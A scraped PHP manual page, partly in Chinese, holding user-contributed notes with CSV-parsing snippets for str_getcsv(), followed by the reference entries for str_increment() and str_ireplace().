                    $pos_enclosure_end += $pos_enclosure_start;    //封闭符-结尾在原始数据中出现位置

                    if ($pos_enclosure_end <  $pos_delimiter) {
                        //封闭符-结束在分隔符之前,无需进行封闭
                        $output[] = substr($input, 0, $pos_delimiter);
                        $offset = $pos_delimiter + 1;
                    } else {
                        //封闭符-结束在分隔符之后,需要封闭
                        $pos_enclosure_end += 1;
                        $before_enclosed_str = substr($input, 0, $pos_enclosure_end);
                        $enclosed_str = substr($input, $pos_enclosure_end);    //封闭字符串之后的字符串

                        $enclosed_arr = my_str_getcsv($enclosed_str, $delimiter, $enclosure);    //将封闭之后的字符串执行自身
                        $enclosed_arr[0] = $before_enclosed_str . $enclosed_arr[0];

                        $output = array_merge($output, $enclosed_arr);
                        $offset = strlen($input);    //光标移至结尾
                    }
                } else {
                    //无封闭
                    if (!is_int($pos_delimiter)) {
                        //无分隔符,直接将字符串加入输出数组
                        $output[] = $input;
                        //光标移至结尾
                        $offset = strlen($input);
                    } else if ($input == $delimiter) {
                        //如果字符串只剩下分隔符,需保存'',''
                        $output = array_merge($output, ['','']);
                        $offset = $pos_delimiter+1;    //光标移至分隔符后一位
                    } else {
                        $output[] = substr($input, 0, $pos_delimiter);    //将分割符之前的数据
                        $offset = $pos_delimiter+1;    //光标移至分隔符后一位
                    }
                }
                //将字符串更新至光标位置
                $input = substr($input,$offset);
            }
        } else {
            //字符串中不存在封闭符,直接通过分隔符分割
            $input = preg_split("/". $escape . $delimiter ."/", $input);

            if (is_array($input)) {
                $output = $input;
            }
        }

        return $output;
    }

?>
Anonymous 09-Apr-2020 06:58
Note that the function does NOT remove the escaping characters. If you do

<?php
str_getcsv('"abc\"abc"')
?>

you'll get an array with a string(8) "abc\"abc", the \ will stay.
r dot borjovsky at gmail dot com 26-Sep-2019 11:15
Improving James' line, now allowing to set the delimiter.

$csv = array_map(function($v){return str_getcsv($v, ';');}, file('data.csv'));
sunilp dot coderevolts at gmail dot com 14-Aug-2018 08:09
Hello,

I want to set formula in csv file using php code . When I download csv file formula should be inserted (data from databse) and when we put column values then values should be calculated as per the formula.

Anyone help me.

Thanks.
Anonymous 21-Jul-2017 05:46
public function csv_to_array($filename = '', $delimiter = ',', $boolean_include_title_row = false, $field_names = array()){

        try {

            if (!file_exists($filename) || !is_readable($filename)) {
                return false;
            }

            if (is_array($field_names) && !empty($field_names)) {
                $header = $field_names;
            } elseif (is_string($field_names) && (strlen($field_names) > 0)) {
                $header = explode(",", $field_names);
            } else {
                $header = null;
            }

            $csv = array_map('str_getcsv', file($filename));

            $data = array();

            foreach ($csv as $key => $row) {
                $data[] = array_combine($header, $row);
            }

            if (!$boolean_include_title_row) {
                unset($data[0]);
                $data = array_values($data);
            }

            return $data;

        } catch (Exception $e) {
            return false;
        }

    }
Xkang 21-Dec-2016 01:25
how to solve the UTF-8 BOM's problem
如何处理UTF-8编码的CSV文件中的BOM问题
$bom =( chr(0xEF) . chr(0xBB) . chr(0xBF) ); //define bom
$f = file_get_contents('a.csv'); //open the CSV file
#$csv = str_getcsv($f); //it will have bom  这样会出现bom的问题
$csv = str_getcsv(str_replace($bom,'',$f)); //replace the bom 替换掉bom
var_dump($csv);  //dump 输出
starrychloe at oliveyou dot net 23-Jul-2015 06:12
Based on James' line, this will create an array of associative arrays with the first row column headers as the keys.

<?php
    $csv = array_map('str_getcsv', file($file));
    array_walk($csv, function(&$a) use ($csv) {
      $a = array_combine($csv[0], $a);
    });
    array_shift($csv); # remove column header
?>

This will yield something like
    [2] => Array
        (
            [Campaign ID] => 295095038
            [Ad group ID] => 22460178158
            [Keyword ID] => 3993587178
peter dot mlich at volny dot cz 02-Jul-2015 10:21
> 49 durik at 3ilab dot net /  4 years ago
$rows = str_getcsv($csv_data, "\n");
- bug, data in csv can have "\n"
'aaa','bb
b','ccc'
pasmanik at gmail dot com 28-May-2015 08:08
I prepared some better function for parsing CSV string.

function csv_to_array($string='', $row_delimiter=PHP_EOL, $delimiter = "," , $enclosure = '"' , $escape = "\\" )
{
    $rows = array_filter(explode($row_delimiter, $string));
    $header = NULL;
    $data = array();

    foreach($rows as $row)
    {
        $row = str_getcsv ($row, $delimiter, $enclosure , $escape);

        if(!$header)
            $header = $row;
        else
            $data[] = array_combine($header, $row);
    }

    return $data;
}
csver at phper dot com 06-May-2015 10:02
Quick and proper way:

    $temp = fopen('php://temp', 'r+');
    fputs($csvString, $temp);
    rewind($temp);

    $csvArray = array();

    while( $csvRow = fgetcsv($temp) )
        $csvArray[] = $csvRow;
    fclose($temp);
sven at e7o dot de 24-Feb-2015 02:53
PHP is failing when parsing UTF-8 with Byte Order Mark. Strip it with this one from string before passing it to csv parser:

<?php
        $bom = pack('CCC', 0xEF, 0xBB, 0xBF);
        if (strncmp($yourString, $bom, 3) === 0) {
            $body = substr($yourString, 3);
        }
?>
okonomiyaki3000 at gmail dot com 12-Feb-2015 10:58
`durik at 3ilab dot net` brings up a good point but the solution provided may fail in certain (very rare) edge cases. I believe a more perfect solution is as follows:

<?php
// Use an I/O stream instead of an actual file.
$handle = fopen('php://temp/myCSV', 'w+b');

// Write all the data to it
fwrite($handle, $CSVString);

// Rewind for reading
rewind($handle);

// use fgetcsv which tends to work better than str_getcsv in some cases
$rows = array();
while ($row = fgetcsv($handle)) $rows[] = $row;
?>

A variation on this technique can also be used to implement an 'str_putcsv' which PHP lacks.
dejiakala at gmail dot com 21-Sep-2014 06:06
I wanted the best of the 2 solutions by james at moss dot io and Jay Williams (csv_to_array()) - create associative array from a CSV file with a header row.

<?php

$array = array_map('str_getcsv', file('data.csv'));

$header = array_shift($array);

array_walk($array, '_combine_array', $header);

function _combine_array(&$row, $key, $header) {
  $row = array_combine($header, $row);
}

?>

Then I thought why not try some benchmarking? I grabbed a sample CSV file with 50,000 rows (10 columns each) and Vulcan Logic Disassembler (VLD) which hooks into the Zend Engine and dumps all the opcodes (execution units) of a script - see http://pecl.php.net/package/vld and example here: http://fabien.potencier.org/article/8/print-vs-echo-which-one-is-faster

Result:

array_walk() and array_map() - 39 opcodes
csv_to_array() - 69 opcodes
enmanuelcorvo at gmail dot com 02-Sep-2014 08:49
I always use this:

function convert_to_csv($input_array, $output_file_name, $delimiter)
{
    /** open raw memory as file, no need for temp files */
    $temp_memory = fopen('php://memory', 'w');
    /** loop through array */
    foreach ($input_array as $line) {
        /** default php csv handler **/
        fputcsv($temp_memory, $line, $delimiter);
    }
    /** rewrind the "file" with the csv lines **/
    fseek($temp_memory, 0);
    /** modify header to be downloadable csv file **/
    header('Content-Type: application/csv');
    header('Content-Disposition: attachement; filename="' . $output_file_name . '";');
    /** Send file to browser for download */
    fpassthru($temp_memory);
}

/** Array to convert to csv */
$array_to_csv = Array(Array(12566, 'Enmanuel', 'Corvo'), Array(56544, 'John', 'Doe'), Array(78550, 'Mark', 'Smith'));
convert_to_csv($array_to_csv, 'report.csv', ',');

you can read the full post here:

<a href="http://webtricksandtreats.com/export-to-csv-php/">PHP to CSV  Download </a>
james at moss dot io 03-Apr-2014 10:24
[Editor's Note (cmb): that does not produce the desired results, if fields contain linebreaks.]

Handy one liner to parse a CSV file into an array

<?php

$csv = array_map('str_getcsv', file('data.csv'));

?>
peter at icb dot at 21-Mar-2014 05:11
Optimized JayWilliams function a little bit:

<?php
function csv_to_array($filename, $delimiter=',', $enclosure='"', $escape = '\\')
{
  if(!file_exists($filename) || !is_readable($filename)) return false;

  $header = null;
  $data = array();
  $lines = file($filename);

  foreach($lines as $line) {
    $values = str_getcsv($line, $delimiter, $enclosure, $escape);
    if(!$header) $header = $values;
    else $data[] = array_combine($header, $values);
  }

  return $data;
}
?>
lewis 11-Feb-2014 01:51
str_getcsv can be really fussy about trailing spaces - it will not necessarily recognise a final element in a quote delimited set of strings with a space following the final string for example. Using trim() before str_getcsv() quickly fixes this.
Ryan Rubley 13-Sep-2013 08:00
@normadize - that is a nice start, but it fails on situations where a field is empty but quoted (returning a string with one double quote instead of an empty string) and cases like """""foo""""" that should result in ""foo"" but instead return "foo". I also get a row with 1 empty field at the end because of the final CRLF in the CSV. Plus, I don't really like the !!Q!! magic or urlencoding to get around things. Also, \R doesn't work in pcre on any of my php installations.

Here is my take on this, without anonymous functions (so it works on PHP < 5.3), and without your options (because I believe the only correct way to parse according to the RFC would be $skip_empty_lines = false and $trim_fields = false).

//parse a CSV file into a two-dimensional array
//this seems as simple as splitting a string by lines and commas, but this only works if tricks are performed
//to ensure that you do NOT split on lines and commas that are inside of double quotes.
function parse_csv($str)
{
    //match all the non-quoted text and one series of quoted text (or the end of the string)
    //each group of matches will be parsed with the callback, with $matches[1] containing all the non-quoted text,
    //and $matches[3] containing everything inside the quotes
    $str = preg_replace_callback('/([^"]*)("((""|[^"])*)"|$)/s', 'parse_csv_quotes', $str);

    //remove the very last newline to prevent a 0-field array for the last line
    $str = preg_replace('/\n$/', '', $str);

    //split on LF and parse each line with a callback
    return array_map('parse_csv_line', explode("\n", $str));
}

//replace all the csv-special characters inside double quotes with markers using an escape sequence
function parse_csv_quotes($matches)
{
    //anything inside the quotes that might be used to split the string into lines and fields later,
    //needs to be quoted. The only character we can guarantee as safe to use, because it will never appear in the unquoted text, is a CR
    //So we're going to use CR as a marker to make escape sequences for CR, LF, Quotes, and Commas.
    $str = str_replace("\r", "\rR", $matches[3]);
    $str = str_replace("\n", "\rN", $str);
    $str = str_replace('""', "\rQ", $str);
    $str = str_replace(',', "\rC", $str);

    //The unquoted text is where commas and newlines are allowed, and where the splits will happen
    //We're going to remove all CRs from the unquoted text, by normalizing all line endings to just LF
    //This ensures us that the only place CR is used, is as the escape sequences for quoted text
    return preg_replace('/\r\n?/', "\n", $matches[1]) . $str;
}

//split on comma and parse each field with a callback
function parse_csv_line($line)
{
    return array_map('parse_csv_field', explode(',', $line));
}

//restore any csv-special characters that are part of the data
function parse_csv_field($field) {
    $field = str_replace("\rC", ',', $field);
    $field = str_replace("\rQ", '"', $field);
    $field = str_replace("\rN", "\n", $field);
    $field = str_replace("\rR", "\r", $field);
    return $field;
}
normadize -a- gmail -d- com 13-Mar-2013 11:19
Like some other users here noted, str_getcsv() cannot be used if you want to comply with either the RFC or with most spreadsheet tools like Excel or Google Docs.

These tools do not escape commas or new lines, but instead place double-quotes (") around the field. If there are any double-quotes in the field, these are escaped with another double-quote (" becomes ""). All this may look odd, but it is what the RFC and most tools do ...

For instance, try exporting as .csv a Google Docs spreadsheet (File > Download as > .csv) which has new lines and commas as part of the field values and see how the .csv content looks, then try to parse it using str_getcsv() ... it will spectacularly regardless of the arguments you pass to it.

Here is a function that can handle everything correctly, and more:

- doesn't use any for or while loops,
- it allows for any separator (any string of any length),
- option to skip empty lines,
- option to trim fields,
- can handle UTF8 data too (although .csv files are likely non-unicode).

Here is the more human readable version of the function:

<?php

// returns a two-dimensional array or rows and fields

function parse_csv ($csv_string, $delimiter = ",", $skip_empty_lines = true, $trim_fields = true)
{
    $enc = preg_replace('/(?<!")""/', '!!Q!!', $csv_string);
    $enc = preg_replace_callback(
        '/"(.*?)"/s',
        function ($field) {
            return urlencode(utf8_encode($field[1]));
        },
        $enc
    );
    $lines = preg_split($skip_empty_lines ? ($trim_fields ? '/( *\R)+/s' : '/\R+/s') : '/\R/s', $enc);
    return array_map(
        function ($line) use ($delimiter, $trim_fields) {
            $fields = $trim_fields ? array_map('trim', explode($delimiter, $line)) : explode($delimiter, $line);
            return array_map(
                function ($field) {
                    return str_replace('!!Q!!', '"', utf8_decode(urldecode($field)));
                },
                $fields
            );
        },
        $lines
    );
}

?>

Since this is not using any loops, you can actually write it as a one-line statement (one-liner).

Here's the function using just one line of code for the function body, formatted nicely though:

<?php

// returns the same two-dimensional array as above, but with a one-liner code

function parse_csv ($csv_string, $delimiter = ",", $skip_empty_lines = true, $trim_fields = true)
{
    return array_map(
        function ($line) use ($delimiter, $trim_fields) {
            return array_map(
                function ($field) {
                    return str_replace('!!Q!!', '"', utf8_decode(urldecode($field)));
                },
                $trim_fields ? array_map('trim', explode($delimiter, $line)) : explode($delimiter, $line)
            );
        },
        preg_split(
            $skip_empty_lines ? ($trim_fields ? '/( *\R)+/s' : '/\R+/s') : '/\R/s',
            preg_replace_callback(
                '/"(.*?)"/s',
                function ($field) {
                    return urlencode(utf8_encode($field[1]));
                },
                $enc = preg_replace('/(?<!")""/', '!!Q!!', $csv_string)
            )
        )
    );
}

?>

Replace !!Q!! with another placeholder if you wish.

Have fun.
V.Krishn 06-Mar-2013 01:31
<?php
Note: The function trims all values unlike  str_getcsv (v5.3).
/**
  * @link https://github.com/insteps/phputils (for updated code)
  * Parse a CSV string into an array for php 4+.
  * @param string $input String
  * @param string $delimiter String
  * @param string $enclosure String
  * @return array
  */
function str_getcsv4($input, $delimiter = ',', $enclosure = '"') {

    if( ! preg_match("/[$enclosure]/", $input) ) {
      return (array)preg_replace(array("/^\\s*/", "/\\s*$/"), '', explode($delimiter, $input));
    }

    $token = "##"; $token2 = "::";
    //alternate tokens "\034\034", "\035\035", "%%";
    $t1 = preg_replace(array("/\\\[$enclosure]/", "/$enclosure{2}/",
         "/[$enclosure]\\s*[$delimiter]\\s*[$enclosure]\\s*/", "/\\s*[$enclosure]\\s*/"),
         array($token2, $token2, $token, $token), trim(trim(trim($input), $enclosure)));

    $a = explode($token, $t1);
    foreach($a as $k=>$v) {
        if ( preg_match("/^{$delimiter}/", $v) || preg_match("/{$delimiter}$/", $v) ) {
            $a[$k] = trim($v, $delimiter); $a[$k] = preg_replace("/$delimiter/", "$token", $a[$k]); }
    }
    $a = explode($token, implode($token, $a));
    return (array)preg_replace(array("/^\\s/", "/\\s$/", "/$token2/"), array('', '', $enclosure), $a);

}

if ( ! function_exists('str_getcsv')) {
  function str_getcsv($input, $delimiter = ',', $enclosure = '"') {
    return str_getcsv4($input, $delimiter, $enclosure);
  }
}
?>
V.Krishn 06-Mar-2013 01:20
Note: The function trims all values unlike  str_getcsv (v5.3).
/**
  * @link https://github.com/insteps/phputils (for updated code)
  * Parse a CSV string into an array for php 4+.
  * @param string $input String
  * @param string $delimiter String
  * @param string $enclosure String
  * @return array
  */
function str_getcsv4($input, $delimiter = ',', $enclosure = '"') {

    if( ! preg_match("/[$enclosure]/", $input) ) {
      return (array)preg_replace(array("/^\\s*/", "/\\s*$/"), '', explode($delimiter, $input));
    }

    $token = "##"; $token2 = "::";
    //alternate tokens "\034\034", "\035\035", "%%";
    $t1 = preg_replace(array("/\\\[$enclosure]/", "/$enclosure{2}/",
         "/[$enclosure]\\s*[$delimiter]\\s*[$enclosure]\\s*/", "/\\s*[$enclosure]\\s*/"),
         array($token2, $token2, $token, $token), trim(trim(trim($input), $enclosure)));

    $a = explode($token, $t1);
    foreach($a as $k=>$v) {
        if ( preg_match("/^{$delimiter}/", $v) || preg_match("/{$delimiter}$/", $v) ) {
            $a[$k] = trim($v, $delimiter); $a[$k] = preg_replace("/$delimiter/", "$token", $a[$k]); }
    }
    $a = explode($token, implode($token, $a));
    return (array)preg_replace(array("/^\\s/", "/\\s$/", "/$token2/"), array('', '', $enclosure), $a);

}

if ( ! function_exists('str_getcsv')) {
  function str_getcsv($input, $delimiter = ',', $enclosure = '"') {
    return str_getcsv4($input, $delimiter, $enclosure);
  }
}
khelibert at gmail dot com 04-Sep-2012 04:42
I've written this to handle :
- fields with or without enclosure;
- escape and enclosure characters using the same character (ie <<">> in Excel)

<?php
/**
             * Converts a csv file into an array of lines and columns.
             * khelibert@gmail.com
             * @param $fileContent String
             * @param string $escape String
             * @param string $enclosure String
             * @param string $delimiter String
             * @return array
             */
            function csvToArray($fileContent,$escape = '\\', $enclosure = '"', $delimiter = ';')
            {
                $lines = array();
                $fields = array();

                if($escape == $enclosure)
                {
                    $escape = '\\';
                    $fileContent = str_replace(array('\\',$enclosure.$enclosure,"\r\n","\r"),
                                array('\\\\',$escape.$enclosure,"\\n","\\n"),$fileContent);
                }
                else
                    $fileContent = str_replace(array("\r\n","\r"),array("\\n","\\n"),$fileContent);

                $nb = strlen($fileContent);
                $field = '';
                $inEnclosure = false;
                $previous = '';

                for($i = 0;$i<$nb; $i++)
                {
                    $c = $fileContent[$i];
                    if($c === $enclosure)
                    {
                        if($previous !== $escape)
                            $inEnclosure ^= true;
                        else
                            $field .= $enclosure;
                    }
                    else if($c === $escape)
                    {
                        $next = $fileContent[$i+1];
                        if($next != $enclosure && $next != $escape)
                            $field .= $escape;
                    }
                    else if($c === $delimiter)
                    {
                        if($inEnclosure)
                            $field .= $delimiter;
                        else
                        {
                            //end of the field
                            $fields[] = $field;
                            $field = '';
                        }
                    }
                    else if($c === "\n")
                    {
                        $fields[] = $field;
                        $field = '';
                        $lines[] = $fields;
                        $fields = array();
                    }
                    else
                        $field .= $c;
                    $previous = $c;
                }
                //we add the last element
                if(true || $field !== '')
                {
                    $fields[] = $field;
                    $lines[] = $fields;
                }
                return $lines;
            }
?>
xoneca at gmail dot com 27-Nov-2011 04:26
Note that this function can also be used to parse other types of constructions. For example, I have used to parse .htaccess AddDescription lines:

    AddDescription "My description to the file." filename.jpg

Those lines can be parsed like this:

<?php

$line = 'AddDescription "My description to the file." filename.jpg';

$parsed = str_getcsv(
    $line, # Input line
    ' ',   # Delimiter
    '"',   # Enclosure
    '\\'   # Escape char
);

var_dump( $parsed );

?>

The output:

array(3) {
  [0]=>
  string(14) "AddDescription"
  [1]=>
  string(27) "My description to the file."
  [2]=>
  string(12) "filename.jpg"
}
durik at 3ilab dot net 16-Jan-2011 11:39
As the str_getcsv(), unlike to fgetcsv(), does not parse the rows in CSV string, I have found following easy workaround:

<?php
$Data = str_getcsv($CsvString, "\n"); //parse the rows
foreach($Data as &$Row) $Row = str_getcsv($Row, ";"); //parse the items in rows
?>

Why not use explode() instead of str_getcsv() to parse rows? Because explode() would not treat possible enclosured parts of string or escaped characters correctly.
Jay Williams 10-Aug-2010 01:50
Here is a quick and easy way to convert a CSV file to an associated array:

<?php
/**
 * @link http://gist.github.com/385876
 */
function csv_to_array($filename='', $delimiter=',')
{
    if(!file_exists($filename) || !is_readable($filename))
        return FALSE;

    $header = NULL;
    $data = array();
    if (($handle = fopen($filename, 'r')) !== FALSE)
    {
        while (($row = fgetcsv($handle, 1000, $delimiter)) !== FALSE)
        {
            if(!$header)
                $header = $row;
            else
                $data[] = array_combine($header, $row);
        }
        fclose($handle);
    }
    return $data;
}

?>
hpartidas at deuz dot net 25-May-2010 09:50
I found myself wanting to parse a CSV and didn't have access to str_getcsv, so I wrote substitute for PHP < 5.3, hope it helps someone out there stuck in the same situation.

<?php
if (!function_exists('str_getcsv')) {
    function str_getcsv($input, $delimiter = ',', $enclosure = '"', $escape = '\\', $eol = '\n') {
        if (is_string($input) && !empty($input)) {
            $output = array();
            $tmp    = preg_split("/".$eol."/",$input);
            if (is_array($tmp) && !empty($tmp)) {
                while (list($line_num, $line) = each($tmp)) {
                    if (preg_match("/".$escape.$enclosure."/",$line)) {
                        while ($strlen = strlen($line)) {
                            $pos_delimiter       = strpos($line,$delimiter);
                            $pos_enclosure_start = strpos($line,$enclosure);
                            if (
                                is_int($pos_delimiter) && is_int($pos_enclosure_start)
                                && ($pos_enclosure_start < $pos_delimiter)
                                ) {
                                $enclosed_str = substr($line,1);
                                $pos_enclosure_end = strpos($enclosed_str,$enclosure);
                                $enclosed_str = substr($enclosed_str,0,$pos_enclosure_end);
                                $output[$line_num][] = $enclosed_str;
                                $offset = $pos_enclosure_end+3;
                            } else {
                                if (empty($pos_delimiter) && empty($pos_enclosure_start)) {
                                    $output[$line_num][] = substr($line,0);
                                    $offset = strlen($line);
                                } else {
                                    $output[$line_num][] = substr($line,0,$pos_delimiter);
                                    $offset = (
                                                !empty($pos_enclosure_start)
                                                && ($pos_enclosure_start < $pos_delimiter)
                                                )
                                                ?$pos_enclosure_start
                                                :$pos_delimiter+1;
                                }
                            }
                            $line = substr($line,$offset);
                        }
                    } else {
                        $line = preg_split("/".$delimiter."/",$line);

                        /*
                         * Validating against pesky extra line breaks creating false rows.
                         */
                        if (is_array($line) && !empty($line[0])) {
                            $output[$line_num] = $line;
                        }
                    }
                }
                return $output;
            } else {
                return false;
            }
        } else {
            return false;
        }
    }
}
?>
Raymond 14-Dec-2009 05:49
Here's a little function to convert a multi-line CSV string to an array:

<?php
function csv_to_array($csv, $delimiter = ',', $enclosure = '"', $escape = '\\', $terminator = "\n") {
    $r = array();
    $rows = explode($terminator,trim($csv));
    $names = array_shift($rows);
    $names = str_getcsv($names,$delimiter,$enclosure,$escape);
    $nc = count($names);
    foreach ($rows as $row) {
        if (trim($row)) {
            $values = str_getcsv($row,$delimiter,$enclosure,$escape);
            if (!$values) $values = array_fill(0,$nc,null);
            $r[] = array_combine($names,$values);
        }
    }
    return $r;
}
?>
Anonymous 16-Mar-2009 10:02
For some reason o'connor's code only reads one line of a csv for me... I had to replace the line

      $data = fgetcsv($fp, 1000, $delimiter, $enclosure); //  $escape only got added in 5.3.0

with this:

      $data;
      while (!feof($fp))
      {
        $data[] = fgetcsv($fp, 0, $delimiter, $enclosure); //  $escape only got added in 5.3.0
      }

...to get all of the data out of my string (some post data pasted into a textbox and processed only with stripslashes).
dave_walter at NOSPAM dot yahoo dot com 06-Feb-2009 03:32
Drawing inspiration from daniel dot oconnor at gmail dot com, here's an alternative str_putcsv() that leverages existing PHP core functionality (5.1.0+) to avoid re-inventing the wheel.

<?php
if(!function_exists('str_putcsv')) {
    function str_putcsv($input, $delimiter = ',', $enclosure = '"') {
        // Open a memory "file" for read/write...
        $fp = fopen('php://temp', 'r+');
        // ... write the $input array to the "file" using fputcsv()...
        fputcsv($fp, $input, $delimiter, $enclosure);
        // ... rewind the "file" so we can read what we just wrote...
        rewind($fp);
        // ... read the entire line into a variable...
        $data = fgets($fp);
        // ... close the "file"...
        fclose($fp);
        // ... and return the $data to the caller, with the trailing newline from fgets() removed.
        return rtrim( $data, "\n" );
    }
}
?>
Jeremy 20-Jan-2009 05:20
After using several methods in the past to create CSV strings without using files (disk IO sucks), I finally decided it's time to write a function to handle it all. This function could use some cleanup, and the variable type test might be overkill for what is needed, I haven't thought about it too much.

Also, I took the liberty of replacing fields with certain data types with strings which I find much easier to work with. Some of you may not agree with those. Also, please note that the type "double" or float has been coded specifically for two digit precision because if I am using a float, it's most likely for currency.

I am sure some of you out there would appreciate this function.

<?php
    function str_putcsv($array, $delimiter = ',', $enclosure = '"', $terminator = "\n") {
        # First convert associative array to numeric indexed array
        foreach ($array as $key => $value) $workArray[] = $value;

        $returnString = '';                 # Initialize return string
        $arraySize = count($workArray);     # Get size of array

        for ($i=0; $i<$arraySize; $i++) {
            # Nested array, process nest item
            if (is_array($workArray[$i])) {
                $returnString .= str_putcsv($workArray[$i], $delimiter, $enclosure, $terminator);
            } else {
                switch (gettype($workArray[$i])) {
                    # Manually set some strings
                    case "NULL":     $_spFormat = ''; break;
                    case "boolean":  $_spFormat = ($workArray[$i] == true) ? 'true': 'false'; break;
                    # Make sure sprintf has a good datatype to work with
                    case "integer":  $_spFormat = '%i'; break;
                    case "double":   $_spFormat = '%0.2f'; break;
                    case "string":   $_spFormat = '%s'; break;
                    # Unknown or invalid items for a csv - note: the datatype of array is already handled above, assuming the data is nested
                    case "object":
                    case "resource":
                    default:         $_spFormat = ''; break;
                }
                                $returnString .= sprintf('%2$s'.$_spFormat.'%2$s', $workArray[$i], $enclosure);
$returnString .= ($i < ($arraySize-1)) ? $delimiter : $terminator;
            }
        }
        # Done the workload, return the output information
        return $returnString;
    }

?>
daniel dot oconnor at gmail dot com 19-Jan-2009 04:48
Don't have this? Ask fgetcsv() to do it for you.

5.1.0+

<?php
if (!function_exists('str_getcsv')) {
    function str_getcsv($input, $delimiter = ",", $enclosure = '"', $escape = "\\") {
        $fiveMBs = 5 * 1024 * 1024;
        $fp = fopen("php://temp/maxmemory:$fiveMBs", 'r+');
        fputs($fp, $input);
        rewind($fp);

        $data = fgetcsv($fp, 1000, $delimiter, $enclosure); //  $escape only got added in 5.3.0

        fclose($fp);
        return $data;
    }
}
?>
william dot j dot weir at gmail dot com 18-Sep-2008 03:19
If your happy enough having just a multi-dimensional array, this should work fine. I had wanted to use the one provided by keananda but it was choking on pr($lines).

<?php
function f_parse_csv($file, $longest, $delimiter) {
  $mdarray = array();
  $file    = fopen($file, "r");
  while ($line = fgetcsv($file, $longest, $delimiter)) {
    array_push($mdarray, $line);
    }
  fclose($file);
  return $mdarray;
  }
?>

$longest is a number that represents the longest line in the csv file as required by fgetcsv().  The page for fgetcsv() said that the longest line could be set to 0 or left out, but I couldn't get it to work without. I just made it extra large when I had to use it.
keananda at gmail dot com 15-Sep-2008 04:29
For those who need this function but not yet installed in their environment, you can use my function bellow.

You can parse your csv file into an associative array (by default) for each lines, or into an object.
<?php
function parse_csv($file, $options = null) {
    $delimiter = empty($options['delimiter']) ? "," : $options['delimiter'];
    $to_object = empty($options['to_object']) ? false : true;
    $str = file_get_contents($file);
    $lines = explode("\n", $str);
    pr($lines);
    $field_names = explode($delimiter, array_shift($lines));
    foreach ($lines as $line) {
        // Skip the empty line
        if (empty($line)) continue;
        $fields = explode($delimiter, $line);
        $_res = $to_object ? new stdClass : array();
        foreach ($field_names as $key => $f) {
            if ($to_object) {
                $_res->{$f} = $fields[$key];
            } else {
                $_res[$f] = $fields[$key];
            }
        }
        $res[] = $_res;
    }
    return $res;
}
?>

NOTE:
Line number 1 of the csv file will be considered as header (field names).

TODO:
- Enclosure handling
- Escape character handling
- Other features/enhancements as you need

EXAMPLE USE:
Content of /path/to/file.csv:
CODE,COUNTRY
AD,Andorra
AE,United Arab Emirates
AF,Afghanistan
AG,Antigua and Barbuda

<?php
$arr_csv = parse_csv("/path/to/file.csv");
print_r($arr_csv);
?>
// Output:
Array
(
    [0] => Array
        (
            [CODE] => AD
            [COUNTRY] => Andorra
        )
    [1] => Array
        (
            [CODE] => AE
            [COUNTRY] => United Arab Emirates
        )
    [2] => Array
        (
            [CODE] => AF
            [COUNTRY] => Afghanistan
        )
    [3] => Array
        (
            [CODE] => AG
            [COUNTRY] => Antigua and Barbuda
        )
)

<?php
$obj_csv = parse_csv("/path/to/file.csv", array("to_object" => true));
print_r($obj_csv);
?>
// Output:
Array
(
    [0] => stdClass Object
        (
            [CODE] => AD
            [COUNTRY] => Andorra
        )
    [1] => stdClass Object
        (
            [CODE] => AE
            [COUNTRY] => United Arab Emirates
        )
    [2] => stdClass Object
        (
            [CODE] => AF
            [COUNTRY] => Afghanistan
        )
    [3] => stdClass Object
        (
            [CODE] => AG
            [COUNTRY] => Antigua and Barbuda
        )
    [4] => stdClass Object
        (
            [CODE] =>
            [COUNTRY] =>
        )
)

// If you use character | (pipe) as delimiter in your csv file, use:
<?php
$arr_csv = parse_csv("/path/to/file.csv", array("delimiter"=>"|"));
?>

==NSD==
csv at rfc dot org 05-May-2008 01:15
RFC 4180 which deals with CSVs states the escape character is supposed to be a double quotation mark: (page 2)
   7.  If double-quotes are used to enclose fields, then a double-quote
       appearing inside a field must be escaped by preceding it with
       another double quote.  For example:

       "aaa","b""bb","ccc"


Increment an alphanumeric string

  • ? str_getcsv
  • str_ireplace ?
  • PHP Manual
  • 字符串 函数
  • Increment an alphanumeric string

str_increment

(PHP 8 >= 8.3.0)

str_increment — Increment an alphanumeric string

说明

str_increment(string $string): string

Returns the incremented alphanumeric ASCII string.

参数

string

The input string.

返回值

Returns the incremented alphanumeric ASCII string.

错误／异常

A ValueError is thrown if string is empty.

A ValueError is thrown if string is not an alphanumeric ASCII string.

示例

Example #1 Basic str_increment() example

<?php
$str = 'ABC';
var_dump(str_increment($str));
?>

以上示例会输出：

string(3) "ABD"

Example #2 str_increment() example with a carry

<?php
$str = 'DZ';
var_dump(str_increment($str));

$str = 'ZZ';
var_dump(str_increment($str));
?>

以上示例会输出：

string(2) "EA"
string(3) "AAA"

参见

  • str_decrement() - Decrement an alphanumeric string

User Contributed Notes

There are no user contributed notes for this page.


str_replace 的忽略大小写版本

  • ? str_increment
  • str_pad ?
  • PHP Manual
  • 字符串 函数
  • str_replace 的忽略大小写版本

str_ireplace

(PHP 5, PHP 7, PHP 8)

str_ireplace — str_replace() 的忽略大小写版本

说明

str_ireplace(
array|string $search,
array|string $replace,
string|array $subject,
int &$count = null
): string|array

该函数返回字符串或者数组。该字符串或数组是将 subject 中全部的 search 都被 replace 替换（忽略大小写）之后的结果。

要根据模式而不是固定字符串替换文本，将 preg_replace() 与 i 模式修饰符一起使用。

参数

如果 search 和 replace 为数组，那么 str_ireplace() 将对 subject 做二者的映射替换。如果 replace 的值的个数少于 search 的个数，多余的替换将使用空字符串来进行。如果 search 是一个数组而 replace 是一个字符串，那么 search 中每个元素的替换将始终使用这个字符串。

如果 search 或 replace 是数组，他们的元素将从头到尾一个个处理。

search

要搜索的值，就像是 needle。可以使用 array 来提供多个 needle。

replace

search 的替换值。一个数组可以被用来指定多重替换。

subject

要被搜索和替换的字符串或数组，就像是 haystack。

如果 subject 是一个数组，替换操作将遍历整个 subject，并且也将返回一个数组。

count

如果被指定，它的值将被设置为替换发生的次数。

返回值

返回替换后的字符串或者数组。

更新日志

版本 | 说明
8.2.0 | 大小写转换不在依赖于使用 setlocale() 设置的区域。只会进行 ASCII 大小写转换。非 ASCII 字节值将通过它们的字节值进行比较。

示例

Example #1 str_ireplace() 示例

<?php
$bodytag = str_ireplace("%body%", "black", "<body text=%BODY%>");
echo $bodytag; // <body text=black>
?>

注释

Note: 此函数可安全用于二进制对象。

Caution

替换顺序陷阱

因为 str_ireplace() 是从左到右替换，当进行多个替换时，可能会替换先前插入的值。str_replace() 文档中的示例 #2 展示了在实践中受到的影响。

参见

  • str_replace() - 子字符串替换
  • preg_replace() - 执行一个正则表达式的搜索和替换
